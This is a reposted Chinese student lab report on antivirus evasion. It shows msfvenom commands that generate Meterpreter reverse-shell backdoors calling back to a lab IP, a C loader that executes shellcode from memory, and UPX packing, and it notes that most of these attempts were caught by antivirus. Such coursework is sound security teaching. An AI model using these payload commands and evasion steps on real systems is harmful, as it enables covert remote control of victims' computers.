码迷,mamicode.com
首页 > 其他好文 > 详细

2018-2019-2 20162318《网络对抗技术》Exp3 免杀原理与实践

时间:2019-03-31 20:51:43      阅读:276      评论:0      收藏:0      [点我收藏+]

标签:程序   编程   mamicode   exec   14.   使用   asio   mic   开心   

一、实验内容


  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion),加壳工具),使用shellcode编程

  • 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本


二、实验步骤

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 使用msf编码器,生成exe文件
  • step1. 直接上编码十次,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.99.100 LPORT=2318 -f exe > backdoor_10_zty.exe

技术图片

  • step2.将生成的后门上传至virscan网站,扫描结果如下:

技术图片

2. 正确使用msf编码器,生成jar文件
  • step1. 生成.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x > backdoor_zty_java.jar

技术图片

  • step2.将生成的后门上传至virscan网站,扫描结果如下:

技术图片

  • step3.修改名字,再次上传

技术图片

3. 正确使用msf编码器,生成php文件
  • step1.生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x> backdoor_zty_php.php

技术图片

  • step2.将生成的后门上传至virscan网站,扫描结果如下:
  • 技术图片
4. 正确使用msf编码器,生成Android后门程序
  • step1.生成apk安装包
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x> backdoor_zty_android.apk

技术图片

  • step2.将生成的后门上传至virscan网站,扫描结果如下:

技术图片

5. 使用veil-evasion生成后门程序及检测
  • step1. 安装veil....(安装了三天还在安装中....)

技术图片

6.半手工注入Shellcode并执行
  • step1. 使用下述命令生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318  -f c

技术图片

  • step2.创建一个文件20162318.c
  • step3.将unsigned chat buf[]复制进去,将其设置成函数,并执行

技术图片

  • step3. 编译20162318.c文件
i686-w64-mingw32-g++ 20162318.c -o 20162318.exe

技术图片

  • step4.上传检测

技术图片

7.使用压缩壳
  • step1. 使用压缩壳(UPX)
upx 20162318_c.exe -o zty_upx.exe

技术图片

  • step2.上传检测
    技术图片

任务二:通过组合应用各种技术实现恶意代码免杀

  • step1.使用msf,生成shellcode(选择x86/shikata_ga_nai编码器迭代3次生成c代码)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 LHOST=192.168.99.100 LPORT=2318 -f c

技术图片

  • step2.创建文件backdoor_20162318.c
unsigned char buf[] = 
“\xbe\x92\x8b\x66....
.....
.....
"\c3\2a";

int main()
{
     void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
     memcpy(exec,buf,sizeof buf);
     ((void(*)())exec)();
}
  • step3. 编译backdoor_20162318.c文件
i686-w64-mingw32-g++ backdoor_20162318.c -o backdoor_20162318.exe

技术图片

  • step4.使用360查杀....好吧,被查杀了

技术图片

  • step5.使用upx加壳,欧耶!成功了耶!!!结果...开心不到三秒就被查了(捂脸)

技术图片

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

免杀方法:任务二中的exe文件+加密壳

实验环境:win10+360安全管家

  • 然而刚刚拷到同学电脑上就被查杀了(捂脸)

三、实践基础问题回答

(1)杀软是如何检测出恶意代码的?

- 有一个叫做特征码库的东东,恶意代码一般都会有一些正常程序所没有的代码,杀软通过识别特征码库来检测恶意代码

- 恶意代码一般都会有异与正常软件的举动,杀软可以经过对其行为进行分析

(2)免杀是做什么?

免杀是让恶意代码改变其原有的外表,让杀软无法通过外表来判断,从而达到蒙糊过关的效果

(3)免杀的基本方法有哪些?

实验中用到的方法,例如:msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,半手工shellcode等等

3.开启杀软能绝对防止电脑中恶意代码吗?

不可能是绝对的杀软毕竟也靠搜集数据来进行杀毒,如果你自己悄悄的编写一个纯手工的恶意代码且不大规模使用,我认为杀软是检测不出你所写的恶意代码

四.问题分析与解决

问题1:由于周五的kali崩掉了,于是我在virtual中又重新装了一遍,之前是在VN中装的(改换了虚拟机),导致kali可以上网,但无法和主机ping通
解决:启用两个网卡,第二个网卡使用仅主机网络

2018-2019-2 20162318《网络对抗技术》Exp3 免杀原理与实践

标签:程序   编程   mamicode   exec   14.   使用   asio   mic   开心   

原文地址:https://www.cnblogs.com/cs162318/p/10632980.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!